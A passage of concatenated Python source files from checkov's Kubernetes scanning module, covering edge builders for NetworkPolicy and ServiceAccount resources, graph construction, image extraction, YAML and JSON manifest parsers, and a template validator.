KubernetesBlock, vertices: list[KubernetesBlock]) -> list[int]: """ this edge builder is a specific case of LabelSelectorEdgeBuilder with 2 differences: 1. it applies only to NetworkPolicy resources that connect to Pod resources 2. it handles a wildcard that attaches a NetworkPolicy resource to all pods. for example: apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: default-deny-ingress spec: podSelector: {} policyTypes: - Ingress """ connections: list[int] = [] for potential_pod_index, potential_vertex in enumerate(vertices): if potential_vertex.id == vertex.id or potential_vertex.attributes.get("kind") != "Pod": continue network_policy = vertex pod = potential_vertex pod_spec = network_policy.attributes.get("spec", {}) if pod_spec is None: continue pod_selector = pod_spec.get("podSelector") if not pod_selector: continue match_labels = pod_selector.get("matchLabels") remove_metadata_from_attribute(match_labels) # the network policy has specific pod labels if match_labels and pod.metadata is not None and pod.metadata.labels is not None: pod_labels = pod.metadata.labels if len(match_labels) > len(pod_labels): continue # find shared label between the inspected vertex and the iterated potential vertex shared_labels = [k for k in match_labels if k in pod_labels and match_labels[k] == pod_labels[k]] if len(shared_labels) == len(match_labels): connections.append(potential_pod_index) # the network policy has a podSelector property with no labels and should apply for all pods else: connections.append(potential_pod_index) return connections ================================================ FILE: checkov/kubernetes/graph_builder/graph_components/edge_builders/ServiceAccountEdgeBuilder.py ================================================ from __future__ import annotations from checkov.kubernetes.graph_builder.graph_components.blocks import KubernetesBlock from checkov.kubernetes.graph_builder.graph_components.edge_builders.K8SEdgeBuilder import K8SEdgeBuilder class VertexConncetions: def __init__(self, origin_vertex_index: int, destination_vertices_indices: list[int] | None = None) -> None: self.origin_vertex_index = origin_vertex_index self.destination_vertices_indices = destination_vertices_indices or [] class ServiceAccountEdgeBuilder(K8SEdgeBuilder): def __init__(self) -> None: self._cache: dict[str, VertexConncetions] = {} @staticmethod def should_search_for_edges(vertex: KubernetesBlock) -> bool: kind: str | None = vertex.attributes.get('kind') return kind == 'ServiceAccount' def _find_all_service_accounts(self, vertices: list[KubernetesBlock]) -> bool: found_service_accounts = False for index, vertex in enumerate(vertices): service_account_name = vertex.attributes.get('metadata.name') if vertex.attributes.get('kind') != 'ServiceAccount' or service_account_name is None: continue self._cache[service_account_name] = VertexConncetions(index) found_service_accounts = True return found_service_accounts @staticmethod def find_connections(vertex: KubernetesBlock, vertices: list[KubernetesBlock]) -> list[int]: # DEPRECATED - this is just here for this builder to support the interface. Use `find_connections_for_instance` raise NotImplementedError def find_connections_for_instance(self, vertex: KubernetesBlock, vertices: list[KubernetesBlock]) -> list[int]: if not self._cache: found_service_accounts = self._find_all_service_accounts(vertices) if found_service_accounts: for index, destination_vertex in enumerate(vertices): if destination_vertex.id == vertex.id: continue destination_vertex_ref = destination_vertex.attributes.get('spec.serviceAccountName') if destination_vertex_ref in self._cache: self._cache[destination_vertex_ref].destination_vertices_indices.append(index) vertex_ref = vertex.attributes.get('metadata.name') if vertex_ref is None: return [] return self._cache[vertex_ref].destination_vertices_indices ================================================ FILE: checkov/kubernetes/graph_builder/graph_components/edge_builders/__init__.py ================================================ ================================================ FILE: checkov/kubernetes/graph_builder/local_graph.py ================================================ from __future__ import annotations import logging from typing import Any, List, Dict from collections import defaultdict from checkov.common.graph.graph_builder import Edge from checkov.common.graph.graph_builder.local_graph import LocalGraph from checkov.common.util.consts import START_LINE, END_LINE from checkov.common.util.data_structures_utils import pickle_deepcopy from checkov.kubernetes.graph_builder.graph_components.blocks import KubernetesBlock, KubernetesBlockMetadata, KubernetesSelector from checkov.kubernetes.graph_builder.graph_components.edge_builders.K8SEdgeBuilder import K8SEdgeBuilder from checkov.kubernetes.graph_builder.graph_components.edge_builders.ServiceAccountEdgeBuilder import ServiceAccountEdgeBuilder from checkov.kubernetes.kubernetes_utils import DEFAULT_NESTED_RESOURCE_TYPE, is_invalid_k8_definition, get_resource_id, is_invalid_k8_pod_definition, \ remove_metadata_from_attribute, PARENT_RESOURCE_KEY_NAME, PARENT_RESOURCE_ID_KEY_NAME, SUPPORTED_POD_CONTAINERS_TYPES from checkov.kubernetes.kubernetes_graph_flags import K8sGraphFlags from checkov.kubernetes.graph_builder.graph_components.edge_builders.LabelSelectorEdgeBuilder import LabelSelectorEdgeBuilder from checkov.kubernetes.graph_builder.graph_components.edge_builders.KeywordEdgeBuilder import KeywordEdgeBuilder from checkov.kubernetes.graph_builder.graph_components.edge_builders.NetworkPolicyEdgeBuilder import NetworkPolicyEdgeBuilder class KubernetesLocalGraph(LocalGraph[KubernetesBlock]): def __init__(self, definitions: dict[str, list[dict[str, Any]]]) -> None: self.definitions = definitions self.edge_builders: list[type[K8SEdgeBuilder] | ServiceAccountEdgeBuilder] = \ [LabelSelectorEdgeBuilder, KeywordEdgeBuilder, NetworkPolicyEdgeBuilder, ServiceAccountEdgeBuilder()] super().__init__() def build_graph(self, render_variables: bool, graph_flags: K8sGraphFlags | None = None) -> None: if graph_flags is None: graph_flags = K8sGraphFlags() self._create_vertices(create_complex_vertices=graph_flags.create_complex_vertices) if graph_flags.create_edges: self._create_edges() def _create_vertices(self, create_complex_vertices: bool) -> None: for file_path, file_conf in self.definitions.items(): if create_complex_vertices: file_conf = self._extract_nested_resources(file_conf) for resource in file_conf[:]: resource_type = resource.get('kind', DEFAULT_NESTED_RESOURCE_TYPE) metadata = resource.get('metadata') or {} # TODO: add support for generateName if resource_type == DEFAULT_NESTED_RESOURCE_TYPE: if is_invalid_k8_pod_definition(resource): logging.info(f"failed to create a vertex in file {file_path}") file_conf.remove(resource) continue else: if is_invalid_k8_definition(resource) or not metadata.get('name'): logging.info(f"failed to create a vertex in file {file_path}") file_conf.remove(resource) continue config = pickle_deepcopy(resource) attributes = pickle_deepcopy(config) attributes["resource_type"] = resource_type attributes["kind"] = resource_type attributes[START_LINE] = resource[START_LINE] attributes[END_LINE] = resource[END_LINE] block_id = get_resource_id(resource) if not block_id: continue block_metadata = None if create_complex_vertices: block_metadata = KubernetesLocalGraph._get_k8s_block_metadata(resource) self.vertices.append(KubernetesBlock( block_name=block_id, resource_type=resource_type, config=config, path=file_path, attributes=attributes, metadata=block_metadata )) for i, vertex in enumerate(self.vertices): self.vertices_by_block_type[vertex.block_type].append(i) self.vertices_block_name_map[vertex.block_type][vertex.name].append(i) def _create_edges(self) -> None: edges_to_create = defaultdict(list) for vertex_index, vertex in enumerate(self.vertices): for edge_builder in self.edge_builders: if edge_builder.should_search_for_edges(vertex): # Needs to be handled separately as it requires an instance rather than a static method if isinstance(edge_builder, ServiceAccountEdgeBuilder): current_vertex_connections = edge_builder.find_connections_for_instance(vertex, self.vertices) else: current_vertex_connections = edge_builder.find_connections(vertex, self.vertices) if current_vertex_connections: edges_to_create[vertex.name].extend(current_vertex_connections) for destination_vertex_index in edges_to_create[vertex.name]: self._create_edge(vertex_index, destination_vertex_index, vertex.name) def _create_edge(self, origin_vertex_index: int, dest_vertex_index: int, label: str) -> None: edge = Edge(origin_vertex_index, dest_vertex_index, label) self.edges.append(edge) self.out_edges[origin_vertex_index].append(edge) self.in_edges[dest_vertex_index].append(edge) @staticmethod def _get_k8s_block_metadata(resource: Dict[str, Any]) -> KubernetesBlockMetadata: name = resource.get('metadata', {}).get('name') spec = resource.get('spec') match_labels: Dict[str, Any] | None = None if isinstance(spec, list): for spec_item in spec: if spec_item.get('selector'): if resource.get('kind') == "Service": match_labels = spec_item.get('selector') else: match_labels = spec_item.get('selector').get('matchLabels') break else: match_labels = None elif isinstance(spec, dict): if spec.get('selector'): if isinstance(spec.get('selector'), dict): if resource.get('kind') == "Service": match_labels = spec.get('selector') else: match_labels = spec.get('selector', {}).get('matchLabels') remove_metadata_from_attribute(match_labels) selector = KubernetesSelector(match_labels) labels = resource.get('metadata', {}).get('labels') remove_metadata_from_attribute(labels) return KubernetesBlockMetadata(selector, labels, name) @staticmethod def _extract_nested_resources(file_conf: List[Dict[str, Any]]) -> List[Dict[str, Any]]: all_resources: "list[dict[str, Any]]" = [] for conf in file_conf: KubernetesLocalGraph._extract_nested_resources_recursive(conf, all_resources) return all_resources @staticmethod def _extract_nested_resources_recursive(conf: Dict[str, Any], all_resources: List[Dict[str, Any]]) -> None: spec = conf.get('spec') if not spec or not isinstance(spec, dict): all_resources.append(conf) return template = spec.get('template', None) if not template or not isinstance(template, dict): all_resources.append(conf) return if is_invalid_k8_pod_definition(template): all_resources.append(conf) return if conf.get('kind') in SUPPORTED_POD_CONTAINERS_TYPES: # means this is a Pod resource nested in a supported template container resource template[PARENT_RESOURCE_ID_KEY_NAME] = get_resource_id(conf) metadata = conf.get('metadata', {}) if not metadata: # resource does not contain all required fields and can not be associated with the pod all_resources.append(conf) return parent_name = metadata.get('name', "") template[PARENT_RESOURCE_KEY_NAME] = parent_name if not template.get('kind'): template['kind'] = DEFAULT_NESTED_RESOURCE_TYPE if not template.get('apiVersion'): template['apiVersion'] = conf.get('apiVersion') template_metadata = template.get('metadata') template_namespace = template_metadata.get('namespace') metadata_namespace = metadata.get('namespace') if template_namespace is None and metadata_namespace is not None: template_metadata['namespace'] = metadata_namespace annotations = metadata.get('annotations') if annotations is not None and template_metadata is not None and 'annotations' not in template_metadata: # Updates annotations to template as well to handle metadata added to the parent resource template_metadata['annotations'] = annotations template_metadata[PARENT_RESOURCE_ID_KEY_NAME] = parent_name spec.pop('template', None) else: template = {} all_resources.append(conf) KubernetesLocalGraph._extract_nested_resources_recursive(template, all_resources) def update_vertices_configs(self) -> None: # not used return None @staticmethod def update_vertex_config(vertex: KubernetesBlock, changed_attributes: list[str] | dict[str, Any], dynamic_blocks: bool = False) -> None: # not used return None def get_resources_types_in_graph(self) -> list[str]: # not used return [] ================================================ FILE: checkov/kubernetes/graph_manager.py ================================================ from __future__ import annotations from typing import Any, TYPE_CHECKING, Optional from checkov.common.graph.graph_builder.consts import GraphSource from checkov.common.graph.graph_manager import GraphManager from checkov.kubernetes.graph_builder.local_graph import KubernetesLocalGraph from checkov.kubernetes.kubernetes_utils import get_folder_definitions from checkov.kubernetes.kubernetes_graph_flags import K8sGraphFlags if TYPE_CHECKING: from checkov.common.typing import LibraryGraphConnector class KubernetesGraphManager(GraphManager[KubernetesLocalGraph, "dict[str, list[dict[str, Any]]]"]): def __init__(self, db_connector: LibraryGraphConnector, source: str = GraphSource.KUBERNETES) -> None: super().__init__(db_connector=db_connector, parser=None, source=source) self.graph_flags: K8sGraphFlags | None = None def build_graph_from_source_directory( self, source_dir: str, local_graph_class: type[KubernetesLocalGraph] = KubernetesLocalGraph, render_variables: bool = True, parsing_errors: Optional[dict[str, Exception]] = None, download_external_modules: Optional[bool] = False, excluded_paths: Optional[list[str]] = None, **kwargs: Any, ) -> tuple[KubernetesLocalGraph, dict[str, list[dict[str, Any]]]]: definitions, definitions_raw = get_folder_definitions(source_dir, excluded_paths) local_graph = self.build_graph_from_definitions(definitions=definitions, render_variables=False) return local_graph, definitions def build_graph_from_definitions( self, definitions: dict[str, list[dict[str, Any]]], render_variables: bool = True) -> KubernetesLocalGraph: local_graph = KubernetesLocalGraph(definitions) if self.graph_flags is None: self.graph_flags = K8sGraphFlags() local_graph.build_graph(render_variables=False, graph_flags=self.graph_flags) return local_graph ================================================ FILE: checkov/kubernetes/image_referencer/__init__.py ================================================ ================================================ FILE: checkov/kubernetes/image_referencer/base_provider.py ================================================ from __future__ import annotations import os from typing import Any, cast from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.images.graph.image_referencer_provider import GraphImageReferencerProvider from checkov.common.images.image_referencer import Image from checkov.common.util.consts import START_LINE, END_LINE from checkov.common.util.str_utils import removeprefix class BaseKubernetesProvider(GraphImageReferencerProvider): def extract_images_from_resources(self) -> list[Image]: images = [] supported_resources_graph = self.extract_nodes() for resource in self.extract_resource(supported_resources_graph): resource_type = resource[CustomAttributes.RESOURCE_TYPE] resource_path = self._get_resource_path(resource) extract_images_func = self.supported_resource_types.get(resource_type) if extract_images_func: for name in extract_images_func(resource): images.append( Image( file_path=resource_path, name=name, start_line=resource[START_LINE], end_line=resource[END_LINE], related_resource_id=f'{removeprefix(resource_path, os.getenv("BC_ROOT_DIR", ""))}:{resource.get("id_")}', ) ) return images def _get_resource_path(self, resource: dict[str, Any]) -> str: return cast("str", resource.get(CustomAttributes.FILE_PATH, "")) ================================================ FILE: checkov/kubernetes/image_referencer/manager.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING from checkov.common.images.graph.image_referencer_manager import GraphImageReferencerManager from checkov.kubernetes.image_referencer.provider.k8s import KubernetesProvider if TYPE_CHECKING: from checkov.common.images.image_referencer import Image class KubernetesImageReferencerManager(GraphImageReferencerManager): def extract_images_from_resources(self) -> list[Image]: k8s_provider = KubernetesProvider(graph_connector=self.graph_connector) images = k8s_provider.extract_images_from_resources() return images ================================================ FILE: checkov/kubernetes/image_referencer/provider/__init__.py ================================================ ================================================ FILE: checkov/kubernetes/image_referencer/provider/k8s.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING, Any from checkov.common.util.data_structures_utils import find_in_dict from checkov.kubernetes.image_referencer.base_provider import BaseKubernetesProvider if TYPE_CHECKING: from networkx import DiGraph from checkov.common.images.graph.image_referencer_provider import _ExtractImagesCallableAlias class KubernetesProvider(BaseKubernetesProvider): def __init__(self, graph_connector: DiGraph) -> None: super().__init__( graph_connector=graph_connector, supported_resource_types=SUPPORTED_K8S_IMAGE_RESOURCE_TYPES, ) def extract_images_from_cron_job(resource: dict[str, Any]) -> list[str]: spec = find_in_dict(input_dict=resource, key_path="spec/jobTemplate/spec/template/spec") return _extract_images_from_spec(spec) def extract_images_from_pod(resource: dict[str, Any]) -> list[str]: spec = resource.get("spec") return _extract_images_from_spec(spec) def extract_images_from_pod_template(resource: dict[str, Any]) -> list[str]: # the 'PodTemplate' object is usually not defined by the user, but rather used by Kubernetes internally spec = find_in_dict(input_dict=resource, key_path="template/spec") return _extract_images_from_spec(spec) def extract_images_from_template(resource: dict[str, Any]) -> list[str]: spec = find_in_dict(input_dict=resource, key_path="spec/template/spec") return _extract_images_from_spec(spec) def extract_images_from_containers(containers: Any) -> set[str]: """Helper function to extract image names from containers block""" image_names: set[str] = set() if isinstance(containers, list): for container in containers: if isinstance(container, dict): image = container.get("image") if image and isinstance(image, str): image_names.add(image) return image_names def _extract_images_from_spec(spec: dict[str, Any] | None) -> list[str]: image_names: set[str] = set() if isinstance(spec, dict): containers = spec.get("containers") image_names.update(extract_images_from_containers(containers=containers)) containers = spec.get("initContainers") image_names.update(extract_images_from_containers(containers=containers)) # Makes sure we return no duplications return list(image_names) # needs to be at the bottom to add the defined functions SUPPORTED_K8S_IMAGE_RESOURCE_TYPES: "dict[str, _ExtractImagesCallableAlias]" = { "CronJob": extract_images_from_cron_job, "Deployment": extract_images_from_template, "DeploymentConfig": extract_images_from_template, "DaemonSet": extract_images_from_template, "Job": extract_images_from_template, "Pod": extract_images_from_pod, "PodTemplate": extract_images_from_pod_template, "ReplicaSet": extract_images_from_template, "ReplicationController": extract_images_from_template, "StatefulSet": extract_images_from_template, } ================================================ FILE: checkov/kubernetes/kubernetes_graph_flags.py ================================================ from __future__ import annotations import os from dataclasses import dataclass CREATE_COMPLEX_VERTICES = 'CREATE_COMPLEX_VERTICES' CREATE_EDGES = 'CREATE_EDGES' @dataclass() class K8sGraphFlags: create_complex_vertices: bool create_edges: bool def __init__(self, create_complex_vertices: bool = False, create_edges: bool = False) -> None: create_complex_vertices_env_var: bool = bool(os.environ.get(CREATE_COMPLEX_VERTICES, True)) create_edges_env_var: bool = bool(os.environ.get(CREATE_EDGES, True)) self.create_complex_vertices = create_complex_vertices or create_complex_vertices_env_var self.create_edges = create_edges or create_edges_env_var ================================================ FILE: checkov/kubernetes/kubernetes_utils.py ================================================ from __future__ import annotations import logging import os from typing import Dict, Any, TYPE_CHECKING import dpath from checkov.common.util.env_vars_config import env_vars_config from checkov.common.models.enums import CheckResult from checkov.common.util.consts import LINE_FIELD_NAMES, START_LINE, END_LINE from checkov.runner_filter import RunnerFilter from checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration as metadata_integration from checkov.common.models.consts import YAML_COMMENT_MARK from checkov.common.parallelizer.parallel_runner import parallel_runner from checkov.common.runners.base_runner import filter_ignored_paths from checkov.common.util.type_forcers import force_list from checkov.kubernetes.parser.parser import parse if TYPE_CHECKING: from checkov.common.typing import _SkippedCheck, _CheckResult, _EntityContext EXCLUDED_FILE_NAMES = {"package.json", "package-lock.json"} K8_POSSIBLE_ENDINGS = {".yaml", ".yml", ".json"} DEFAULT_NESTED_RESOURCE_TYPE = "Pod" SUPPORTED_POD_CONTAINERS_TYPES = {"Deployment", "DeploymentConfig", "DaemonSet", "Job", "ReplicaSet", "ReplicationController", "StatefulSet"} PARENT_RESOURCE_KEY_NAME = "_parent_resource" PARENT_RESOURCE_ID_KEY_NAME = "_parent_resource_id" FILTERED_RESOURCES_FOR_EDGE_BUILDERS = ["NetworkPolicy"] def should_include_path(full_path: str, ignore_hidden_dir: bool) -> bool: if full_path in EXCLUDED_FILE_NAMES: return False inside_hidden_dir = "/." in full_path if inside_hidden_dir and ignore_hidden_dir: return False return True def get_folder_definitions( root_folder: str, excluded_paths: list[str] | None ) -> tuple[dict[str, list[dict[str, Any]]], dict[str, list[tuple[int, str]]]]: files_list = [] for root, d_names, f_names in os.walk(root_folder): filter_ignored_paths(root, d_names, excluded_paths) filter_ignored_paths(root, f_names, excluded_paths) for file in f_names: file_ending = os.path.splitext(file)[1] if file_ending in K8_POSSIBLE_ENDINGS: full_path = os.path.join(root, file) if should_include_path(full_path, env_vars_config.IGNORE_HIDDEN_DIRECTORIES): # skip temp directories files_list.append(full_path) return get_files_definitions(files_list) def get_files_definitions(files: list[str]) -> tuple[dict[str, list[dict[str, Any]]], dict[str, list[tuple[int, str]]]]: definitions = {} definitions_raw = {} results = parallel_runner.run_function(_parse_file, files) for result in results: if result: path, parse_result = result if parse_result: definitions[path], definitions_raw[path] = parse_result return definitions, definitions_raw def _parse_file(filename: str) -> tuple[str, tuple[list[dict[str, Any]], list[tuple[int, str]]] | None] | None: try: return filename, parse(filename) except (TypeError, ValueError): logging.warning(f"Kubernetes skipping {filename} as it is not a valid Kubernetes template", exc_info=True) return None def get_skipped_checks(entity_conf: dict[str, Any]) -> list[_SkippedCheck]: skipped = [] metadata = {} bc_id_mapping = metadata_integration.bc_to_ckv_id_mapping if not isinstance(entity_conf, dict): return skipped if "metadata" in entity_conf.keys(): metadata = entity_conf["metadata"] if metadata and "annotations" in metadata.keys() and metadata["annotations"] is not None: if isinstance(metadata["annotations"], dict): metadata["annotations"] = force_list(metadata["annotations"]) for annotation in metadata["annotations"]: if not isinstance(annotation, dict): logging.debug(f"Parse of Annotation Failed for {annotation}: {entity_conf}") continue for key in annotation: skipped_item: "_SkippedCheck" = {} if "checkov.io/skip" in key or "bridgecrew.io/skip" in key: if "=" in annotation[key]: (skipped_item["id"], skipped_item["suppress_comment"]) = annotation[key].split("=") else: skipped_item["id"] = annotation[key] skipped_item["suppress_comment"] = "No comment provided" # No matter which ID was used to skip, save the pair of IDs in the appropriate fields if bc_id_mapping and skipped_item["id"] in bc_id_mapping: skipped_item["bc_id"] = skipped_item["id"] skipped_item["id"] = bc_id_mapping[skipped_item["id"]] elif metadata_integration.check_metadata: skipped_item["bc_id"] = metadata_integration.get_bc_id(skipped_item["id"]) skipped.append(skipped_item) return skipped def create_definitions( root_folder: str | None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, ) -> tuple[dict[str, list[dict[str, Any]]], dict[str, list[tuple[int, str]]]]: runner_filter = runner_filter or RunnerFilter() definitions: dict[str, list[dict[str, Any]]] = {} definitions_raw: dict[str, list[tuple[int, str]]] = {} if files: definitions, definitions_raw = get_files_definitions(files) if root_folder: definitions, definitions_raw = get_folder_definitions(root_folder, runner_filter.excluded_paths) return definitions, definitions_raw def build_definitions_context( definitions: dict[str, list[dict[str, Any]]], definitions_raw: dict[str, list[tuple[int, str]]] ) -> dict[str, dict[str, Any]]: definitions_context: Dict[str, Dict[str, Any]] = {} # iterate on the files for file_path, resources in definitions.items(): for resource in resources[:]: if resource.get("kind") == "List": # this could be inefficient, if more than one 'List' object exists in the same file resources = resources[:] resources.extend(item for item in resource.get("items", []) if item) resources.remove(resource) # iterate on the resources for resource in resources: if is_invalid_k8_definition(resource): continue resource_id = get_resource_id(resource) if not resource_id: continue relative_resource_path = None if 'metadata' in resource: metadata = resource['metadata'] if 'annotations' in metadata and metadata['annotations'] is not None\ and 'config.kubernetes.io/origin' in metadata['annotations']: metadata_path = metadata['annotations']['config.kubernetes.io/origin'] if 'path:' in metadata_path: relative_resource_path = metadata_path.split('path:')[1].strip() resource_start_line = resource[START_LINE] resource_end_line = min(resource[END_LINE], len(definitions_raw[file_path])) raw_code = definitions_raw[file_path] code_lines, start_line, end_line = calculate_code_lines(raw_code, resource_start_line, resource_end_line) dpath.new( definitions_context, [file_path, resource_id], {"start_line": start_line, "end_line": end_line, "code_lines": code_lines, "origin_relative_path": relative_resource_path}, ) skipped_checks = get_skipped_checks(resource) dpath.new( definitions_context, [file_path, resource_id, "skipped_checks"], skipped_checks, ) return definitions_context def calculate_code_lines(raw_code: list[tuple[int, str]], start_line: int, end_line: int) \ -> tuple[list[tuple[int, str]], int, int]: first_line_index = 0 # skip empty lines while not str.strip(raw_code[first_line_index][1]): first_line_index += 1 # check if the file is a json file if str.strip(raw_code[first_line_index][1])[0] == "{": start_line += 1 end_line += 1 else: # add resource comments to definition lines current_line = str.strip(raw_code[start_line - 1][1]) while not current_line or current_line[0] == YAML_COMMENT_MARK: start_line -= 1 current_line = str.strip(raw_code[start_line - 1][1]) # remove next resource comments from definition lines current_line = str.strip(raw_code[end_line - 1][1]) while not current_line or current_line[0] == YAML_COMMENT_MARK: end_line -= 1 current_line = str.strip(raw_code[end_line - 1][1]) code_lines = raw_code[start_line - 1: end_line] return code_lines, start_line, end_line def is_invalid_k8_definition(definition: Dict[str, Any]) -> bool: return ( not isinstance(definition, dict) or 'apiVersion' not in definition.keys() or 'kind' not in definition.keys() or isinstance(definition.get("kind"), int) or not isinstance(definition.get('metadata'), dict) ) def is_invalid_k8_pod_definition(definition: Dict[str, Any]) -> bool: if not isinstance(definition, dict): return True metadata = definition.get('metadata') if not isinstance(metadata, dict): return True spec = definition.get('spec') if not isinstance(spec, dict) and not isinstance(spec, list): return True labels = metadata.get('labels') name = metadata.get('name') if name is None and labels is None: return True return False def get_resource_id(resource: dict[str, Any] | None) -> str | None: if not resource: return None resource_type = resource.get("kind", DEFAULT_NESTED_RESOURCE_TYPE) metadata = resource.get("metadata") or {} namespace = metadata.get("namespace", "default") name = metadata.get("name") if name: return f'{resource_type}.{namespace}.{name}' labels = metadata.get("labels") if labels: return build_resource_id_from_labels(resource_type, namespace, labels, resource) return None def build_resource_id_from_labels(resource_type: str, namespace: str, labels: dict[str, str], resource: dict[str, Any]) -> str: labels_list = [ f"{label}-{value}" for label, value in labels.items() if label not in LINE_FIELD_NAMES ] labels_string = ".".join(labels_list) if labels_list else "default" parent_resource = resource.get(PARENT_RESOURCE_KEY_NAME) if parent_resource: resource_id = f'{resource_type}.{namespace}.{parent_resource}.{labels_string}' else: resource_id = f'{resource_type}.{namespace}.{labels_string}' return resource_id def remove_metadata_from_attribute(attribute: dict[str, Any] | None) -> None: if isinstance(attribute, dict): attribute.pop("__startline__", None) attribute.pop("__endline__", None) def create_check_result(check_result: _CheckResult, entity_context: _EntityContext, check_id: str) -> _CheckResult: """Creates a cleaned version of check_result for further usage""" clean_check_result: _CheckResult = { "result": check_result["result"], "evaluated_keys": check_result["evaluated_keys"], } for skipped_check in entity_context.get("skipped_checks", []): if skipped_check["id"] == check_id: clean_check_result["result"] = CheckResult.SKIPPED clean_check_result["suppress_comment"] = skipped_check["suppress_comment"] break return clean_check_result ================================================ FILE: checkov/kubernetes/parser/__init__.py ================================================ ================================================ FILE: checkov/kubernetes/parser/k8_json.py ================================================ from __future__ import annotations import logging from collections.abc import Hashable from pathlib import Path from typing import Tuple, Dict, Any, List, TYPE_CHECKING import json import yaml from yaml.loader import SafeLoader from checkov.common.parsers.json.decoder import SimpleDecoder from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger from checkov.common.util.consts import END_LINE, START_LINE, MAX_IAC_FILE_SIZE from checkov.common.util.file_utils import read_file_with_any_encoding if TYPE_CHECKING: from yaml import MappingNode logger = logging.getLogger(__name__) add_resource_code_filter_to_logger(logger) def loads(content: str) -> list[dict[str, Any]]: """ Load the given JSON string """ content = "[" + content + "]" content = content.replace('}{', '},{') content = content.replace('}\n{', '},\n{') template: list[dict[str, Any]] = yaml.load(content, Loader=SafeLineLoader) # nosec # custom safe loader # Convert an empty file to an empty list if template is None: template = [] return template def load(filename: Path) -> Tuple[List[Dict[str, Any]], List[Tuple[int, str]]]: """ Load the given JSON file """ content = read_file_with_any_encoding(file_path=filename) if not all(key in content for key in ("apiVersion", "kind")): return [{}], [] file_lines = [(idx + 1, line) for idx, line in enumerate(content.splitlines(keepends=True))] file_size = len(content) if file_size > MAX_IAC_FILE_SIZE: # large JSON files take too much time, when parsed with `pyyaml`, compared to a normal 'json.loads()' # with start/end line numbers of 0 takes only a few seconds logging.info( f"File {filename} has a size of {file_size} which is bigger than the supported 50mb, " "therefore file lines will default to 0." "This limit can be adjusted via the environment variable 'CHECKOV_MAX_IAC_FILE_SIZE'." ) return json.loads(content, cls=CustomDecoder), file_lines template = loads(content) return template, file_lines class SafeLineLoader(SafeLoader): def construct_mapping(self, node: MappingNode, deep: bool = False) -> dict[Hashable, Any]: mapping = super().construct_mapping(node, deep=deep) # Add 1 so line numbering starts at 1 # mapping['__line__'] = node.start_mark.line + 1 mapping[START_LINE] = node.start_mark.line + 1 mapping[END_LINE] = node.end_mark.line + 1 return mapping class CustomDecoder(SimpleDecoder): def object_hook(self, obj: dict[str, Any]) -> Any: obj[START_LINE] = 0 obj[END_LINE] = 0 return obj ================================================ FILE: checkov/kubernetes/parser/k8_yaml.py ================================================ from __future__ import annotations import logging import re from collections.abc import Hashable from pathlib import Path from typing import List, Dict, Any, Tuple, TYPE_CHECKING import yaml from yaml.loader import SafeLoader from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger from checkov.common.util.file_utils import read_file_with_any_encoding if TYPE_CHECKING: from yaml import MappingNode logger = logging.getLogger(__name__) add_resource_code_filter_to_logger(logger) def loads(content: str) -> List[Dict[str, Any]]: """ Load the given YAML string """ template = list(yaml.load_all(content, Loader=SafeLineLoader)) # Convert an empty file to an empty dict if template is None: template = {} return template def load(filename: Path) -> Tuple[List[Dict[str, Any]], List[Tuple[int, str]]]: """ Load the given YAML file """ helm_template_patterns = [r"\{\{-?\s*\.Release\.", r"\{\{-?\s*\.Values\."] content = read_file_with_any_encoding(file_path=filename) if not all(key in content for key in ("apiVersion", "kind")): return [{}], [] for pattern in helm_template_patterns: if re.search(pattern, content): return [{}], [] file_lines = [(idx + 1, line) for idx, line in enumerate(content.splitlines(keepends=True))] template = loads(content) return (template, file_lines) class SafeLineLoader(SafeLoader): def construct_mapping(self, node: MappingNode, deep: bool = False) -> dict[Hashable, Any]: mapping = super().construct_mapping(node, deep=deep) # Add 1 so line numbering starts at 1 # mapping['__line__'] = node.start_mark.line + 1 mapping['__startline__'] = node.start_mark.line + 1 mapping['__endline__'] = node.end_mark.line + 1 return mapping ================================================ FILE: checkov/kubernetes/parser/parser.py ================================================ from __future__ import annotations import logging from pathlib import Path from typing import Any from yaml import YAMLError from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger from checkov.kubernetes.parser import k8_yaml, k8_json from checkov.kubernetes.parser.validatior import K8sValidator logger = logging.getLogger(__name__) add_resource_code_filter_to_logger(logger) def parse(filename: str) -> tuple[list[dict[str, Any]], list[tuple[int, str]]] | None: template = None template_lines: "list[tuple[int, str]]" = [] valid_templates = [] try: if filename.endswith((".yaml", ".yml")): (template, template_lines) = k8_yaml.load(Path(filename)) if filename.endswith(".json"): (template, template_lines) = k8_json.load(Path(filename)) if template: if isinstance(template, list): for i, t in enumerate(template): is_valid, reason = K8sValidator.is_valid_template(t) if is_valid: valid_templates.append(t) else: logging.debug(f"template {i} from file {filename} is not a valid k8s template, reason: {reason}") else: return None else: return None except IOError as e: if e.errno == 2: logger.error('Template file not found: %s', filename) return None elif e.errno == 21: logger.error('Template references a directory, not a file: %s', filename) return None elif e.errno == 13: logger.error('Permission denied when accessing template file: %s', filename) return None except UnicodeDecodeError: logger.error('Cannot read file contents: %s', filename) return None except YAMLError: if filename.endswith(".yaml") or filename.endswith(".yml"): logger.debug('Cannot read file contents: %s - is it a yaml?', filename) return None return valid_templates, template_lines ================================================ FILE: checkov/kubernetes/parser/validatior.py ================================================ import re from typing import Any, Dict, Tuple class K8sValidator: name_disallowed_chars = re.compile("[#{}]+") # noqa: CCE003 # a static attribute @staticmethod def is_valid_template(template: Any) -> Tuple[bool, str]: is_valid = isinstance(template, dict) if not is_valid: return is_valid, f'template is not a dict, but {type(template)}' is_valid, reason = K8sValidator._has_required_fields(template) if not is_valid: return is_valid, reason is_valid, reason = K8sValidator._is_section_valid(template) if not is_valid: return is_valid, reason return True, '' @staticmethod def _has_required_fields(template: Dict[str, Any]) -> Tuple[bool, str]: for key in ['apiVersion', 'kind']: if key not in template.keys(): return False, f'the key {key} does not exist in template structure' return True, '' @staticmethod def _is_section_valid(template: Dict[str, Any]) -> Tuple[bool, str]: for segment in template.keys(): if isinstance(template[segment], dict): is_section_valid, reason = K8sValidator._is_section_valid(template[segment]) if not is_section_valid: return is_section_valid, reason elif isinstance(template[segment], list): for entry in template[segment]: if isinstance(entry, dict): is_section_valid, reason = K8sValidator._is_section_valid(entry) if not is_section_valid: return is_section_valid, reason elif segment == 